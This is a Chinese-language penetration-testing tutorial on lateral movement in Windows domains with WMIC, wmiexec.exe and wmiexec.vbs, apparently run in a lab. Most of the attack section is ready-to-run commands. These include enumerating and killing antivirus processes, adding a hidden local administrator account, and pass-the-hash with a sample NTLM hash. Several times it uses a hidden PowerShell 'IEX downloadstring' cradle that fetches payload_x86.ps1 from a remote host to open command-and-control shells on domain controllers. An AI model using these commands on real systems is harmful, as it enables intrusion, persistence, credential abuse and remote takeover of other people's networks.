内网渗透-横向移动-WMIC远程执行命令横向移动
什么是WMIWMI是Windows在Powershell还未发布前微软用来管理Windows系统的重要数据库工具WMI本身的组织架构是一个数据库架构WMI 服务使用 DCOM或 WinRM 协议,自从 PsExec 在内网中被严格监控后越来越多的反病毒厂商将 PsExec 加入了黑名单于是黑客们渐渐开始使用 WMI 进行横向移动。通过渗透测试发现在使用 wmiexec 进行横向移动时windows 操作系统默认不会将 WMI 的操作记录在日志中。因此很多 APT 开始使用 WMI 进行攻击。WMIC扩展WMIWindows Management InstrumentationWindows管理工具 提供了从命令行接口和批处理脚本执行系统管理的支持。简单来说wmic就是wmic.exe位于windows目录底下是一个命令行程序。WMIC可以以两种模式执行交互模式(Interactive mode)和非交互模式(Non-Interactive mode)WMI就是 WindowsManagement InstrumentationWindows 管理规范。它是 Windows 中的一个核心管理技术。WMIC常见命令wmic命令需要本地管理员或域管理员才可以进行正常使用普通权限用户若想要使用wmi可以修改普通用户的ACL不过修改用户的ACL也需要管理员权限普通用户使用wmic。以下命令均在2008R2、2012R2、2016上进行测试,部分命令在虚拟机中测试不行。wmic logon list brief登录⽤户wmic ntdomain list brief域控机器wmic useraccount list brief⽤户列表wmic share get name,path查看系统共享wmic service list brief |more服务列表wmic startup list full识别开机启动的程序包括路径wmic fsdir c:\\test call delete删除C盘下的test目录wmic nteventlog get path,filename,writeable查看系统中开启的⽇志wmic nicconfig get ipaddress,macaddress查看系统中⽹卡的IP地址和MAC地址wmic qfe get description,installedOn使⽤wmic识别安装到系统中的补丁情况wmic product get name,version查看系统中安装的软件以及版本2008R2上执行后无反应。wmic useraccount where name%UserName% call rename newUserName更改当前用户名wmic useraccount where nameAdministrator call Rename admin更改指定用户名wmic bios list full | findstr /i vmware查看当前系统是否是VMWARE可以按照实际情况进行筛选wmic desktop get screensaversecure,screensavertimeout查看当前系统是否有屏保保护延迟是多少wmic process where namevmtoolsd.exe get executablepath获取指定进程可执行文件的路径wmic environment where nametemp get UserName,VariableValue获取temp环境变量查询当前主机的杀毒软件wmic process where name like %forti% get namewmic process where nameFortiTray.exe call terminatewmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExewmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExewmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List查询windows机器版本和服务位数和.net版本wmic os get captionwmic os get osarchitecturewmic OS get Caption,CSDVersion,OSArchitecture,Versionwmic product where Name like Microsoft .Net% get Name, Version查询本机所有盘符wmic logicaldisk list briefwmic logicaldisk get description,name,size,freespace /value卸载和重新安装程序wmic product where name like %Office% get namewmic product where nameOffice call uninstall查看某个进程的详细信息路径命令⾏参数等wmic process where namechrome.exe list fullwmic process where namefrp.exe get executablepath,name,ProcessId进程路径wmic process where captionfrp.exe get caption,commandline /value更改PATH环境变量值新增c:\whoamiwmic environment where namepath and usernamesystem set VariableValue%path%;c:\whoami查看某个进程的详细信息-PIDwmic process list brieftasklist /SVC | findstr frp.exewmic process where ProcessId3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate终⽌⼀个进程wmic process where name xshell.exe call terminatentsd -c q -p进程的PIDtaskkill -im pid获取电脑产品编号和型号信息wmic baseboard get Product,SerialNumberwmic bios get serialnumber安装软件wmic product get name,versionwmic product list brief使用环境介绍192.168.113.152域控administrator192.168.113.205域内用户jack192.168.113.208域内用户krbuser常见错误1.开启防火墙时允许共享例外错误:代码 0x800706ba说明 RPC服务器不可用。设备 Win322.组策略阻止administraotr远程访问时错误:代码 0x80070005说明拒绝访问。设备 Win323.IP安全策略阻止135时错误:代码 0x800706ba说明 RPC服务器不可用。设备 Win324.禁用winmgmt服务时错误:代码 0x80070422说明无法启动服务原因可能是已被禁用或与其相关联的设备没有启动。设备 Win325.拒绝wbem目录权限无法使用wmic的wmic调用cmd重点以下命令需要管理员权限执行命令并且输出wmic /node:IP地址/user:本地用户管理员/域管理员/password:密码process call create cmd.exe /c ipconfig c:\ip.txtwmic /node:192.168.113.152 /user:test\administrator /password:qax123 process call create cmd.exe /c ipconfig c:\ip.txt列出远程主机进程wmic /node:IP地址/user:本地用户管理员/域管理员/password:密码process list brief在远程系统上执行bat脚本wmic /node:IP地址/user:本地用户管理员/域管理员/password:密码process call create c:\programdata\test.batwmic /node:IP地址/user:本地用户管理员/域管理员/password:密码process call create cmd.exe /c net user test1 !#123QWE /add net localgroup administrators test1 /add执行powershell上线重点wmic /NODE:IP /user:本地用户管理员/域管理员/password:密码PROCESS call create powershell.exe -nop -w hidden -c \IEX ((new-object net.webclient).downloadstring(ps脚本地址))\---àps脚本我放在了小皮的根目录下面wmic /NODE:192.168.113.152 /user:test\administrator /password:qax123 PROCESS call create powershell.exe -nop -w hidden -c \IEX ((new-object net.webclient).downloadstring(http://192.168.43.245/payload_x86.ps1))\成功让其上线Wmiexec工具wmiexec是一个即有全交互也有半交互的远程命令执行工具有python版本的pe版本可运用于多种环境包括webshell环境、rdp环境、socks环境等下载地址https://github.com/maaaaz/impacket-examples-windows/blob/master/wmiexec.exe通过cs上传到jack目录下wmiexec.exe域名/用户名:密码目标IP#哈希传递获得shellwmiexec.exe域名/用户名:密码目标IPipconfig#执行命令wmiexec.exe -hashes LM Hash:NT Hash域名/用户名目标IP#哈希传递获得shellwmiexec.exe -hashes LM Hash:NT Hash域名/用户名目标IP ipconfig#执行命令wmiexec.exe test/administrator:qax123192.168.113.152 whoami利用powershell上线1、使用账号密码登录进行powershell上线使用刚刚放在小皮上面的payloadwmiexec.exe test/administrator:qax123192.168.113.152powershell.exe -nop -w hidden -c \IEX ((new-object net.webclient).downloadstring(http://192.168.43.245/payload_x86.ps1))\上线第二个域控shell2、使用hash上线我这里就直接快速获得了aad3b435b51404eeaad3b435b51404ee:c8e710f9876360e5f96dc23cca029d49wmiexec.exe -hashes LM Hash:NT Hash域名/用户名目标IP 命令#哈希传递命令---wmiexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:c8e710f9876360e5f96dc23cca029d49 test/administrator192.168.113.152 powershell.exe -nop -w hidden -c \IEX ((new-object net.webclient).downloadstring(http://192.168.43.245/payload_x86.ps1))\上线第三个域控shellwmiexec.vbswmiexec.vbs脚本通过VBS调用WMI来模拟PsExec的功能。其可以在远程系统中执行命令并进行回显获取远程主机的半交互式Shell。wmiexec.vbs支持两种模式一种是半交互式shell模式另一种是执行单条命令模式cscript.exe //nologo wmiexec.vbs /cmd IP用户密码命令先上传使用powershell上线cscript.exe //nologo wmiexec.vbs /cmd IP用户密码命令----》shell cscript.exe //nologo wmiexec.vbs /cmd 192.168.113.152 test\administrator qax123 powershell.exe -nop -w hidden -ExecutionPolicy Bypass -c IEX ((new-object net.webclient).downloadstring(http://192.168.43.245/payload_x86.ps1))#用转义双引号包裹内层命令上线第四个域控shell